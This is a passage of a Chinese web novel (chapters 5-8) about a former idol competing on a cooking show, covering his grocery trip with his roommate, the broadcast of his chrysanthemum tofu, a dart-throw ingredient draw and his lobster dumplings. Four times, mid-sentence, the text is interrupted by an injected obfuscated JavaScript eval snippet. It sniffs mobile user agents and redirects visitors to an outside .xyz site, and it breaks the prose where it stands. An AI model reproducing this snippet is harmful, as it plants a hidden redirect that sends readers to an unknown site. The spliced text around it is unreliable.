这边与他原来的宿舍隔了大半座城，蒋醉余对一切都不太熟悉。 他一边搜索附近的超市，一边把牛角包端端正正地放到盘子正中，落在旁边的碎屑全部清扫干净。 今天他要去节目组，齐新雨也有事要去趟学校，可以姑且不做午饭，但家里的食材其实根本不够他做一顿正餐。 他愤愤地看了一眼高悬橱柜里五花八门的方便面和速食粉，和下楼的齐新雨匆匆打了个招呼，拎起自己的早饭，抢在八点半之前出了门。 怎么会有人工作两年了还要赶早课！ 《美食之王》作为一档厨艺竞技综艺，并不是只有无止境的比赛。 它是周播节目，除了海选和预赛以外，每期的内容可以有一星期时间用来录制。 通常情况下，其中两天进行正式比赛，余下的时间则由不同的名厨为选手上课，周日是唯一的休息时间。 如果不是这样，观众们又怎么会感受到参赛者在节目前后期肉眼可见的进步呢——这可不只是“在竞争中学习”的成果。 节目组的课程安排得很紧，培训从早上九点持续到傍晚五点。 其中囊括了经典菜谱的学习、食材的挑选和基本处理、菜品的创新改良等各类理论或实践课。 不过预赛直到昨天才结束，而今天周六，是节目开播的日子。 这又正好是第一轮比赛开始前的唯一一天教学，任务实在不重，选手们得以提早“下课”。 蒋醉余和齐新雨约在小区附近的超市见。 齐新雨比早上出门时换了身衣服，单层卫衣露一点撞色衬衫领子，牛仔裤勾勒修长腿形。 头上戴了顶点缀立体小鸟的天蓝色渔夫帽，将一对薄荷绿眼睛衬得又明媚了三分。 “拿个篮子吧，超市离得近，有需要还可以随时来，不用买太多东西。”蒋醉余说着，躬身下去拎起购物筐的提手。 一只指甲修剪圆润的手落在了他的手旁边，皮肤相接带来温热触感，接着是柔软的黑发撞上了他的肩膀前侧。 齐新雨仿佛被他整个人拢在怀里，瞬间睁圆了眼睛，兔子似的一下跳到了旁边，直到蒋醉余开始挑菜了才小声应答。 他不好意思在旁边干看着，总是试图做点什么，比如说问完蒋醉余要买什么然后独自一人去把菜拿过来。 “小齐，”蒋醉余看着那只战损茄子，无奈地叹了口气，话语中露出一点笑音，“你只要点菜就好了，我来挑吧。” 两人饮食习惯惊人地一致，几乎全程没有产生争执，没多久就结束采购，准备结账。 售货员很有些莫名的职业素养，与附近的居民几乎全部熟稔，见到齐新雨就笑着打招呼： “泽菲尔下午好，今天要买点花吗——这位是你男朋友吗？” 齐新雨一个激灵。 他偷眼看了看身边没什么表情的人，忙乱地向售货员摆手。 这家超市的切花还算新鲜，齐新雨时常买一束回家自己养着，能开一两周。 前阵子买的多色郁金香，现在还在他家开得轰轰烈烈呢。 “噢，”售货员点点头，手上动作飞快地扫完了条码，“那就是还在追你。” 齐新雨结结巴巴地反驳了几句“只是朋友”，拿起袋装菠菜准备塞进购物袋，被一只骨节分明的手挡住。 “谢谢小齐，”蒋醉余说，“菠菜等最后再放。” 他只好拿着菠菜，手足无措，感觉自己前十八年尴尬沉默的次数都没有今天一次多。 出了超市走在无人的路上，他才讷讷开口：“蒋先生会介意吗……刚才售货员说的，我喜欢同性……如果需要我可以想办法联系一下小区里的其他人，给您再找一套房子……” 我还知道你想把我衬衫扣子燎了扯开呢，蒋醉余默默地想，向他露出一个安抚的笑容：“没关系，这有什么好介意的。 “只要不像我以前的队……室友一样在我隔壁屋现场表演就行。”为了加强自己的可信度，他补充道。 齐新雨的表情一瞬间混合了放松解脱、我推好惨和有瓜我吃，变得十分丰富。 好在他总体还算擅长社交，就着这个话头把聊天扯向了自己的奇葩同学。 两人一路说笑回了家，仿佛刚才凝滞的氛围根本不存在。 “如果蒋先生你不需要准备比赛的话，客厅有投影仪，吃完饭我们可以投到墙上看超大屏。”齐新雨兴致勃勃地安排。 他开了两瓶气泡水，橘粉色的血橙味饮品咕噜噜冒着泡泡，更增添几分春日的鲜活。 齐新雨那杯是用薄荷糖浆兑的，沉底的糖浆碧意盎然。他很喜欢这种清凉甚至回味带点灼烧的感觉，蒋醉余敬谢不敏。 蒋醉余忽然后知后觉地意识到，现在已经是四月了。 今年的春天已经到来了。 几乎人人都知道，当《美食之王》开播的时候，一年里最明媚的季节正降临北半球。 来自美国的大学生布莱恩就是这样一个靠《美食之王》确认时间的忠实粉丝。 他从第一季开始一集未落，倒不是有多么喜欢看别人做饭，而是这个节目总能有各种出人意料或矛盾感十足的戏剧化发展。 每当布莱恩做实验过柱子过得痛不欲生，看看节目选手之间的明嘲暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775081|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讽，就会满血复活。 遗憾的是，他的朋友们对这个解压方法并不感兴趣，他只能独自享用赛博榨菜。 英国时间晚上八点，他准时打开视频软件。 “《美食之王》第五季第一集”是软件的头条广告，画面内容看着像一朵白色的乒乓球菊。 这是什么意思，难道有个选手要让评委直接吃花吗？ 他这样想着，手上毫不犹豫地点进节目。 熟悉的片头和赛制介绍过后，点点灯光在西方地图上亮起，那正是每一个海选赛区的比赛地点。 横跨数个时区，来自欧洲各国优中选优的业余厨师们将齐聚伦敦。但彼时的他们，还不知道自己是否能成功踏上这段旅程。 画面倏地拉大，落在了西班牙的一个赛区。 提起西班牙，最有名的大概就是海鲜饭和火腿。 画面对准一位褐色头发的雀斑男生，他在海选中选择做的是一道前菜。 土豆泥堆成锥形，外面轻柔地一片片覆盖上深红色的极薄火腿片，像座静谧的火焰山。 小山周围则借助环形模具摆了一圈油醋汁沙拉。 野菜、胡萝卜丁和青毛豆色彩明艳，其间点缀几块乳白色的羊奶酪，还有浅蓝色的琉璃苣花瓣作为装饰。 土豆泥经过反复研磨过筛，加入了猪肉清汤、牛奶和黄油，完全不需要咀嚼。搭配烟熏风味鲜明的的伊比利亚黑猪火腿，口感丝滑绵密，调味淳朴厚实。 如果感到火腿土豆泥太细腻，就再吃一口旁边的沙拉。 盐水煮的毛豆粒嚼劲十足，胡萝卜的微甜、野菜叶的微苦相得益彰，将风味的范围扩大，与油醋汁搭配在一起清爽开胃。 山羊奶酪更是其中点睛之笔。配合土豆泥提供酸味、配合沙拉提供奶香，将两部分和谐地统一在了一起。 赛区评委给了他很高的评价。布莱恩皱皱眉，退出全屏打开实时评论。 他不是对这个男生有什么意见，这盘菜看起来也不错，可用火腿入菜的西班牙选手也太常见了吧！ 他实在想不明白这有什么必要放在开头。 果然，评论区也和他有同样的想法。 【讲个笑话，本季《美食之王》以西班牙人做的熏火腿开场。】 【改名叫《俗套大王》吧。】 【不过只有我一个人想问吗，火腿不是应该是粉红色的吗？】 节目还在继续播放，一名金发青年忿忿道：“我有意见。” “他使用的是自带的五年熟成的老火腿，价格非常人能担负，比常见的肉粉色三年火腿香味更浓郁，肉质也更软嫩绵密，堪称入口即化。 “那么在这种情况下，我认为自带食材的增色超过了他的菜品创意本身。他没有这么高的水平。” 布莱恩兴奋了起来。 我承认我刚才说话有点大声了，导演这么剪果然有他的道理。 他看向喷涌而出、各执己见的评论。 【金毛这话没错啊，海选允许自带食材主要是因为有的选手想要烹饪罕见食材，哪有像他这样钻空子用高档食材降维打击的。】 【没说禁止就是可以，我支持小雀斑。】 然而节目组深谙剪辑的艺术，还没等评委做出回应，画面忽然一转，换到了另一个赛区。 “你觉得他这样做可以吗？”齐新雨也疑惑道。 “没什么问题，”蒋醉余说，“五年制火腿确实更浓郁，但他们忘记了，过于强烈的香味可能引起失衡。” 当火腿的味道太过抢镜，就像金发青年说的，究竟是在评判火腿还是菜品？ 所以高端的食材也并没有人们想象中的那么好处理。越是极致的风味，越考验厨师的搭配水平，评判者自会衡量。《美食之王》的评委总体而言还是值得信赖的。 海选集过半，镜头终于来到了英国。 画面中，蒋醉余眼神专注地盯着砧板，睫毛垂下一片浓密阴影。特写镜头放慢速度，他手指从刀片上轻柔拂过，洒落颗颗水珠。 就像每一本三流小说里的NPC一样，弹幕尽职尽责地瞬间炸了。 【五秒钟！我要这个亚裔的所有信息！】 【不是亚裔，是个纯中国人。】 【啊？中国人连前面的那些高端食材都没听过吧，来这个培养顶级厨师的节目自讨苦吃吗？】 5. 小情侣宅家记 中国人到底能不能吃得起高档食材，这个问题在媒体上大概能找到截然相反的两方观点和所谓证据。 观众们各执己见，便发现视频节奏忽然变快。 只见那位中国选手手腕上下微动，一刀刀均匀地落在豆腐块上。 速度恒定，落点相近，刀片上却甚至没有沾上一点食材。 可等他停下动作，镜头拉远，观众们却只看到豆腐在案板上瘫成一滩。 ——形状囫囵，其貌不扬，有碍观瞻。 旁边操作台的选手正巧瞥了一眼，露出一个自信又嘲讽的笑容。 【什么嘛，比划了半天搞出一坨烂泥。】 【可能也就会做点华而不实的小动作了吧。】 【虽然不太礼貌，但我真的想说我和隔壁那个选手的反应差不多。】 【你们懂什么，这是导演给我等厨艺废一个心理平衡的机会。】 齐新雨同时开着手机和平板投影，看了一眼评论区，表情不太自然。 “不用管他们，剪辑的而已，我旁边那个人当时根本没在看我。”蒋醉余宽慰道。 从来反转最有流量，这没什么大不了的。等成品做出来，中餐自然能折服观众。 至于他自己，这些年挨骂还少吗？他早就免疫了。 蒋醉余想了想，把旁边柔软的抱枕递给齐新雨。 抱枕上有一层短短的绒，似乎是纯色，但蒋醉余拿起来才发现那不过因为它的背面朝外。 面向沙发的一面带有图案，蒋醉余看不太懂，只觉得给人一种生机勃勃、春意盎然的鲜活感。 但是不知道是不是他对齐新雨的画有什么先入为主的印象，总觉得这样抽象的画面也令人有些不敢直视。 他目光扫过角落绣着的自己的签名，装作什么都没发现一般移开眼神。 齐新雨也没说话，一副专注喝椰子水的样子，把抱枕在怀里又拢紧了一点。 画面中，蒋醉余把豆腐转移到了汤底里，雪白的豆腐花终于在上千万观众面前盛放。 “菊花豆腐”菜如其名。 虽然海外观众们基本没见过纤长飘逸的中国菊花，却也纷纷觉得它像极了一朵茂密的非洲拉丝菊。 柔软的丝状花瓣在水中伸展，随着尚未平静的汤面左右漂浮。 评论区一刹沉寂，随之而来的便是铺天盖地的问号和感叹号。 半晌，才有人弱弱地憋出一句：【你跟我说这是刚才那个豆腐泥？】 文字已经不足以表明他们的震撼，观众们转瞬就把豆腐和《美食之王》的关键词刷上了黑叉的热搜趋势。 布莱恩也不例外。 他连发几条动态后还嫌不够，兴奋地把视频链接转发到和朋友们的群聊里：“你们信我，真的很好看！” 这个时间点大家都不忙，立刻有人回应：“兄弟们，可怜的布莱恩还没有放弃让我们陪他看台本综艺。” “这不是台本！”布莱恩语无伦次，“你不懂，它真的不是那种能靠演戏表演出来的剧本。” 他形容不明白，干脆甩出一张豆腐菊花的截图：“你们谁能把这个‘台本’复刻出来，我帮他洗一学期试管都行。” 有人犹在调侃“这个节目已经开始找吃花喝露水的精灵当评委了吗”，而更多人终于点开视频，陷入长足的默然与震惊。 对不起，是我“冒饭”了。 都怪该死的节目组非要搞什么反转，道德在哪里，法治在哪里，能让我演出这个“台本”的培训班地址在哪里！ 凭借着这朵入水前后仿佛丑小鸭变白天鹅的菊花豆腐，《美食之王》的词条在趋势榜上又前进了几位。 偶然刷到趋势的路人们饱含质疑精神。 【这节目已经烂到要靠中国人赚流量了？】 【不要用豆腐这种有奇怪腥味的东西玷污法式高汤啊！】 【现在的节目和人为了戏剧效果什么事情干不出来，有本事放无剪辑镜头啊，你说那坨泥是这朵花它就真的是吗？】 这话正合节目组的意思。 导演静静等待舆论发酵一阵，看准机会用官方账号在短视频平台上作出回应，发布了从切豆腐到最终入水的一镜到底视频。 视频下面除了节目标签，还打了另一个暂时无人在意的活动标签：“仿制菊花豆腐挑战”。 这样人类智慧的奇迹，不管是第一次看到的新人、还是已经被节目震撼过的老观众，都不由得倒吸一口气。 贫乏的语言不足以表达旺盛的情感，他们只能靠着无意义的语气助词抒发自己的惊叹。 随着强有力的证据出现，热闹了十几分钟的剪辑造假观点火速销声匿迹。 一直在专心看节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775082|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目的那部分观众这时才刚刚看完整集，懵懵懂懂地参与进了网上的讨论。 在这一集的最后，导演终于揭晓了一百多名预赛选手的名单，西班牙赛区入选的两个人正是明显有矛盾的小雀斑和黄毛。 他们可并没有那么根深蒂固的同胞互助想法，《美食之王》就算涵盖了多国赛区，也不过是个吊着萝卜的综艺节目。 他们相同的国籍只会为这两名厨师带来更多恩怨纠葛，被冠以“那两个从海选就开始竞争的人”之类的称号。 而作为选手的蒋醉余更是知道，这二位甚至双双闯进了正赛。 “多适合吵架的话题啊，”蒋醉余笑了起来，“可惜被我抢走了关注度，好多人恐怕还没看最后一段。” 这话就谦虚了，说是“抢”倒也不尽然。 他不信黑叉趋势的背后没有节目组在推波助澜，《美食之王》素来以火药味十足著称，往期常有选手当面对骂。 就像最初海选导演说的，他这样一个不移民、不混血、没有多年海外经历的纯种华人，能够引发的讨论不容小觑。 这热度不用白不用，如果真的担心出现“黑热搜”，他们大可以在剪辑正式揭幕的时候就使用无剪辑镜头。 策划做足了准备，不论综艺中哪个场面或桥段引发热议，他们都有办法把众人的视线转移到节目上来。 “抓马”好过平淡，流量就是金钱。 对节目组和它背后的绝大多数资本来说，美食比赛还是乐高比赛都不过是形式，扑街比黑红可怕多了。 齐新雨欲言又止地看他一眼，没有说话。 直到两天后的清晨，蒋醉余准备出门录节目，看到自己卧室门边摆着一个牛皮纸袋，似乎是他昨晚睡下后齐新雨放过来的。 袋子里是有一张便签和一件手绘了Q版人物的围裙。 二头身的他抱着等身的中式大炒锅，身后是一丛灿烂盛放的醉鱼草。 不难看出西风太太压抑了自己浓厚的个人风格，画出一张神态灵动鲜活但看起来“相当正常”的画。 蒋醉余又看向字迹清秀的便签：“祝蒋先生比赛顺利呀。” 落款签名相当熟练，一副欠了不知多少遍的样子，Zephyr末尾的r字挑出去，像个一笔勾勒的小猫头。 他盯着便签看了半晌，把它塞进了围裙的内兜。 6. 和牛还是罐头 “大家好，欢迎来到《美食之王》的赛场，我是主厨夏洛特。” 三位评委缓步走出，站在中间的女评委率先开口。 她是全球有名的创意菜厨师，曾经连续四年以最高分获得美食奖金奖，闲暇时还喜欢在网上发一些奇思妙想的美食视频。 另外两名评委也跟着自我介绍。 法餐厨师梅森·布朗——他强调自己的姓氏——是最年轻的一个，出身厨艺世家，从小接受专业培养，是一名学院派厨师。 他在二十六岁时就已经成为一家名餐厅的主厨，这对于传统后厨来说是很罕见的情况。 最后一位大师专擅甜品，名字叫做奥斯汀，是个不苟言笑的老头，风度翩翩，看起来符合普通人对贵族管家的一切刻板印象。 他确实资历颇深，还是美食奖下属的一个甜品杂志的签约作家，文章却以风趣幽默著称。 每一位评委自我介绍的话音落下，选手中都会爆发巨大的掌声和欢呼。 对这群心怀梦想的业余厨师来说，眼前的人不仅将在未来几个月内决定他们的命运，更是他们一直憧憬并向之努力的业内顶尖人士。 “这个节目已经第五季了，”夏洛特说，“我想观众们也许都看烦了过去枯燥的淘汰赛。” 奥斯汀接过话头：“在这一年，我们将迎来完全崭新的赛制。其中最重要的就是，我们会为每一周设置一个主题。” “而比赛的形式，相比起从前大家各自在炉火前忙碌，也会更加丰富多彩。”梅森补充。 夏洛特转过身，拉开身后白板上的绒布。 “这一周的主题是：游戏。” 那块白板上画着的，赫然是某个著名的益智玩具品牌的商标。 “感谢金主爸爸，”梅森拿出一张支票，“本周的周冠军将获得一万英磅的创业基金。” 奥斯汀叹了口气：“以及……一整套获得去年3-6岁儿童玩具销量第一的，快乐宝宝厨房套装。” 他穿了一身经典黑西装，手中却抱起一个花花绿绿的盒子，里面装着各种塑料厨具和食材。蓝的平底锅，红的刀叉勺，紫的茄子，黄的雪梨，五颜六色好不热闹。 选手们配合地笑了起来。 让他们难掩真心笑容的还不止于此。 按照评委的话说，这是《美食之王》四年来的第一个“平安夜”。 换句话讲，这一整周的比赛都将作为积分赛，而不会产生任何淘汰名额。 “至于积分的作用？”梅森做了个噤声的手势，“你们以后就知道了。” 夏洛特拍了拍手：“那么，如果没有问题的话，我们现在就开始第一周第一轮积分赛。” 全场陷入安静，选手们眼巴巴地等着她公布比赛内容，却见到导演组送上来三块转盘。 一红、一绿、一白，撞色活泼，颇有节日气息。 “这才九月就要提前放圣诞假了吗？”来自西班牙的黄发青年半吐槽地问道。 “如果你想提前回家吃妈妈的松饼，我们也可以打破规矩，让你这周就淘汰。”梅森跟着开玩笑。 这三块转盘被沿着圆心均分成等分的细长扇形，每个扇形上都写有一种食材。 红色是肉类，绿色是素菜，白色是主食。 “相信大家小时候都玩过投飞镖游戏，而这，就是我们的第一关。” “每位选手在这一关能够使用的食材，都将要靠扔飞镖决定。除此以外，你们只能使用面粉、鸡蛋、柠檬等基础食材，以及不限量的各类香料。” “在这个红色的转盘中，有令人心动的顶级牛排，有新鲜但需要处理的生猛海鲜，也有超市里两榜就能买八片的烟熏培根，甚至是……充满淀粉和添加剂的午餐肉罐头。” 每个人可以抽一种肉类、两种蔬菜、一种主食；第一次没投中的可以再尝试两次。 但是如果三次全都脱了靶，那么很可惜，你只能彻底失去这一样食材。 赛制介绍完毕，导演叫停了录制，进入一小时休息时间。 选手们需要轮流接受后台采访，节目组也拿出了多个和食材转盘大小相同的普通转盘，供没被采访的人进行练习。 “醉余，你不去练练吗？” 正当蒋醉余发呆的时候，一道女声从他身旁传来。 他抬起头，来人是北欧选手伊薇特，也是和他操作台在同一排的“同桌”。 蒋醉余摇摇头：“不用了，我专门练过。” 他说着，眼神飘忽起来，齐新雨那幅画不自觉地浮现在脑海中。 那一套舞台节目是偏向冷兵器、机械和军风的主题。 蒋醉余在其中有一小段轮流C位动作，要潇洒地将安全无害的软头飞镖扔向观众席。 为此，他特意自学了半个月如何花式扔飞镖，巅峰时期可以蒙眼背身投中圆心。 大多数情况下，他都能在舞台光的干扰下精准扔到自己粉丝手上。 伊薇特并不打算过多追问， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775083|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简单道：“好吧，那祝你好运。” 蒋醉余觉得其他选手似乎比自己更需要这句祝福，现在场上的情况显得有些不可收拾。 印裔选手三连脱靶，成为全场唯一一个没有肉的人。 日裔选手信心满满想要烹饪和牛，却获得了午餐肉罐头。 意大利选手则在主食项大翻车，抽到了自己甚至从来没听说过的澄粉。 前面十名选手带着或大或小的不满意回到操作台，只有排在蒋醉余前面的伊薇特拿到了全部想要的食材。 “其实我是陪我们家猫和狗扔球练出来的准度。”她向瞠目结舌的评委解释。 终于轮到蒋醉余，评委惯例对每一个上台的人发出提问：“你对食材有什么想法吗？” “龙虾、口蘑、胡萝卜和澄粉。”他不紧不慢回应道。 “看起来你已经有计划了，那么你认为你能延续伊薇特的奇迹飞镖吗？” 蒋醉余刚点了点头，就听见台下有人在喊自己。 “醉余！” 是抽到陌生食材的可怜意大利选手，洛伦佐。 “我把澄粉换给你，你帮我抽个南瓜怎么样。” 梅森笑着插话：“我觉得你应该先问问我们同不同意。” “他还没抽，倒是可以通融一次，”作为主评委的夏洛特说，“那么你愿意帮助你的对手吗？” 蒋醉余无所谓地点点头，他本来也不是冲着冠军来的。 如果一定要说他有什么坚持的追求，可能也只是想在这档节目里做做中餐了吧。 毕竟像他在汉堡店遇到的滑板青年那样以为“中餐都是低价快餐”的可不在少数。 他从桌子上拿起纯黑色飞镖，认准位置轻轻一扔。评委并不吊胃口，及时报上他扎到的选项。 “活龙虾。” “口蘑。” “胡萝卜。” 洛伦佐目光炯炯地盯着他的手，简直想要尖叫。 你不要态度那么放松啊！你紧张一点，你不紧张我紧张！ “南瓜。” 评委确认了蒋醉余最后一掷的落点，洛伦佐长出一口气。 “这也太神奇了，这是中国功夫吗？”奥斯汀感慨道，“还是说醉余你也养了一只狗。” “狗没有，倒是有只猫。”蒋醉余想起突然出现在门口的礼物，不自觉地轻声道。 “？” “我是说，”他掩饰地咳了一声，“我前几年专门练过。” 7. 现杀龙虾虾饺 “五、四、三、二、一，比赛开始！” 倒计时启动，蒋醉余把剁碎的蒜、百里香和欧芹加入黑胡椒调味，同室温软化的黄油搅拌均匀，放进冰箱冷藏。 趁着等待的时候，利用澄粉、淀粉、油、沸水和胡萝卜汁做成面团，扣上玻璃碗醒发。 蒜香黄油差不多定了型，侥幸多活了几十分钟的龙虾终于要迎来生命尽头。 这是一只体积不小的龙虾，周身披着暗红色鳞甲，一对小黑眼睛怔怔地盯着水箱外的世界。 它今天早上才离开了仿真环境的养殖场，一路快马加鞭被送到节目组的仓库，此时仍是活着的。 蒋醉余把它从水里拿出来，准备处理龙虾。 这也是料理这个食材难度最大的地方。 龙虾原本趴在水底，不怎么活动，看上去奄奄一息，却在刚一出水就回光返照似的开始胡乱蹬腿，还挥舞起钳子。 蒋醉余简直怀疑它会演戏，此时的它看起来比任何一名选手的龙虾都格外活泼一些。 外壳粗糙的身子扭来扭去，每一个部位都写满了努力，终于用锯齿状的边缘狠狠地划破人类的手指。 鲜红的血液缓缓溢出，龙虾趁乱跌落回箱子里，溅起满地水花。 “醉余，你看起来不太妙。”下来巡视的评委担忧道。 蒋醉余从选手助理手中接过创可贴：“我得承认，它比我想象中更生猛。” “如果你实在没法处理，可以放到冰箱里冷藏一下。”梅森提出建议。 蒋醉余当然知道这种方法，只是鲜活龙虾的肉质和味道都比冷晕了的龙虾要好一些，在能力足够的情况下何必退而求其次呢。 “那好吧，”梅森点点头，不置可否，“不要逞强。” 待他转身离开，蒋醉余深吸一口气，单手抓住虾背取出龙虾，在它反应过来之前狠狠在料理台上一撞。 “咚”的一声，龙虾晕了过去，“虾事不知”。 他先前的意外就吸引了不少选手的注意力，此时的声响又使几个人回望过来。 却见他面不改色地处理、清洗完龙虾，从连接处把它的头拧下来，再用厨房剪刀顺着身体腹背壳的接缝剪开，分离出了完整的虾肉和虾壳。 围观群众看着他利落干脆的手法，默默哆嗦一下，忙转回去操心自己的菜。 虾头虾尾放到清水里加盐煮沸，躯干壳则在剁块与洋葱炒香后煮成龙虾汤底。 虾肉一部分剁成泥，另一部分切成小粒。 重新凝固的黄油切丁，与龙虾泥、龙虾粒、蘑菇丁、胡萝卜丁混合在一起，加盐和黑胡椒调味。 蒋醉余今天准备做一道改良的虾饺。 依照传统，馅料通常会用到虾泥、笋丁和肥肉丁。 但他选择使用蒜香黄油块替代肥肉，不仅是由于他在这场比赛里只有一种肉，也是为了搭配龙虾、更好地融合西式风味。 馅料准备完毕，将面团搓成长条、揪出剂子、搓球压扁、擀成圆形，这大概是绝大多数中国人从小就熟悉的流程。 逢年过节，从立春到冬至，从新年团聚到离家远游，蒋醉余这样的北方人总能找到吃饺子的理由。 在此基础上，衍生出了澄粉制皮的虾饺、菠菜汁皮的“白菜”饺子，还有元宝形、老鼠形等不同的的包法。 蒋醉余今天选择的，就是做出一只只眼睛鼓鼓、尾巴卷曲的“金鱼饺子”。 把龙虾馅放在面皮里，中部对齐捏紧成锅贴的样子。 拎起一端贴向中间，形成两个圆孔，在其中填上少量肉馅，这就是眼睛。 另一端则捏紧后向下压平，用叉子按出纹路，再用刀轻轻划成三分，便形成了尾巴。 等到蒸锅上汽后，在虾饺下面垫上一片胡萝卜片，入锅蒸熟。 蒋醉余又回到龙虾汤锅前，用细网过滤出虾壳、洋葱和杂质等固体，将汤大火收汁。 看着浓稠度差不多了，他便加入红葡萄酒醋，关火慢慢搅拌。 这样既能保留酸味避免过多挥发，又能使虾汤和醋味混得得更为融洽。 他调好食用金粉，在虾饺上细细勾出鱼鳞的图案。 一切准备停当，刚好还剩几分钟给他摆盘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775084|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 长方形的瓷盘上，一只橙红的龙虾沿对角线斜趴，虾背隆起，倾向一角。 与众不同的是，虾身部分是十几只列队的精巧可爱“金鱼”，空游在酱料勾勒的水波纹路上。 虾饺半透明的表皮裹着粉红的虾肉和橘色的胡萝卜丁，还能看到一点流动的汁水，让人忍不住想要咬开一探究竟。 做装饰的一点蘸料还不够，在离虾饺主体较远的角落，正方形调料碗里装着暗红色的龙虾汤葡萄酒醋汁。 烹饪时间结束，评委开始品尝每个人的菜品，进行排名。 “我最感兴趣的是，”夏洛特微笑道，“醉余，请上前来。” 她看着蒋醉余端起菜品一步步走向台前，语气轻松地补充道：“忘记说了，我喜欢你的围裙，它看上去和你的作品一样可爱。” 蒋醉余向她笑笑，掩饰住内心震惊。 包括他自己在内谁也想不到，这一季正赛阶段的第一道展示菜品，竟然来自唯一的非欧美籍选手。 蒋醉余做的虾饺很小，可以完整地放在普通餐勺里，是小朋友也能一口一个的大小。 夏洛特用勺子托起一只，澄粉制成的面皮剔透弹牙，韧劲十足。 馅料多汁而富有嚼劲，龙虾、胡萝卜和蘑菇带来蕴藏海陆风味的不同清甜，恰到好处的调味刺激了鲜味物质的表现。 蘸上专门熬制的饺子醋，酸味成功缓解了肉馅的细腻扎实，带来清爽的回味。 葡萄酒醋中淡淡的果韵和酒香若隐若现，小钩子似的令人忍不住仔细回味、想要再尝亿口。 如果改用刀叉把虾饺拦腰斩断，则能看到一点浅褐色的汁水慢慢流出。 用力按压肉馅再松开手，它还会缓慢回弹。 “我们对你的期待很高，而你不负众望。如果还有什么美中不足的，那就是鱼尾巴的部分也许可以做一些调味。”梅森说。 “金鱼虾饺组成龙虾躯体的创意也很好，”奥斯汀想了想道，“只是醋碟就显得有些僵硬，可以在摆盘的艺术性上更进一步。” “但总之，这是一份很好的作品。” 8. 三明治与蛋糕 十二道菜品点评完毕，就到了宣布成绩的时刻。 这一轮积分赛中，选手能获得的分数由一分至四分不等。 第一名记四分，第二、三名记三分，四至六名记两分，最后六人则只能得到一分。 录制又一次被喊停，导演组要在结果宣布前后分别采访一次选手。 “不算自己，你最喜欢的菜是谁做的？”他们向每个人发出提问。 “醉余吧，他的酱汁真的很厉害。我比赛的时候就闻到一股特别霸道强势的酸味，虽然席卷全场，但是又很柔和、不刺鼻。” “我觉得是醉余，他那一盘子小金鱼太惊艳了。说实话，他颠覆了我对中餐的看法。也许这期节目录完我该去找个中餐馆看看。” “不过伊薇特也不错，开放三明治的上限很高，下限很低，我觉得她这次日式风味的创新是成功的。” 作为出身北欧的选手，伊薇特做了当地十分有名的开放式三明治。 不规则椭圆形面包散发着浓郁的麦香，在烘烤之后披上了酥脆的外壳。 将面包切成厚片，自由地堆叠起食材和酱汁，这道菜也就完成了。 她选择了日式风味，在制作面包时加入少量红茶汤和红茶碎。 卷心菜擦丝，用第戎芥末美乃滋拌匀。 新鲜嫩姜切薄片，做成漂亮的粉红色泡姜。 鲜活的龙虾品质极高，作为海产品也没有太多寄生虫困扰。 因此，她把生龙虾直接腌制，捏出丝带似的褶皱，只有表面用喷枪轻轻燎出焦化的边缘。 白色原味、黄色芥末味两种酱料在龙虾表面随意地洒上几圈，做出海兔裙边一般的造型。 这便是一道外表极美的龙虾刺身开放三明治。 清浅的茶香之下，是龙虾的鲜嫩弹牙、芥末的独特风味和和泡姜的酸甜爽口。 评委们好评不断，在他们看来，日本和北欧的菜系都以注重简约和食材原味为最大特点，这是一次极其和谐的融合。 故而十二名选手中，有超过一半认可了蒋醉余，剩下的则大多数看好伊薇特。 毕竟只有他们两个完整地获得了自己想要的食材。 相比起其他人拿到食材后紧急头脑风暴调整计划，他们会更加从容不迫，菜品也经过了更多深思熟虑。 而不像可怜的意大利选手，虽然成功换了主食做南瓜意面，却依然被素菜里的姜害惨了。 “现在我们已经已经讨论出了本轮排名。”休息结束，夏洛特清了清嗓子。 众人都显得有些紧张。 虽然在导演组的限定条件下，他们认真夸赞了别人的作品，但也不觉得自己的菜就全无抗争之力。 评委对所有选手都提出了表扬和改进，他们并不能完全依靠评语判断出谁的表现最好。 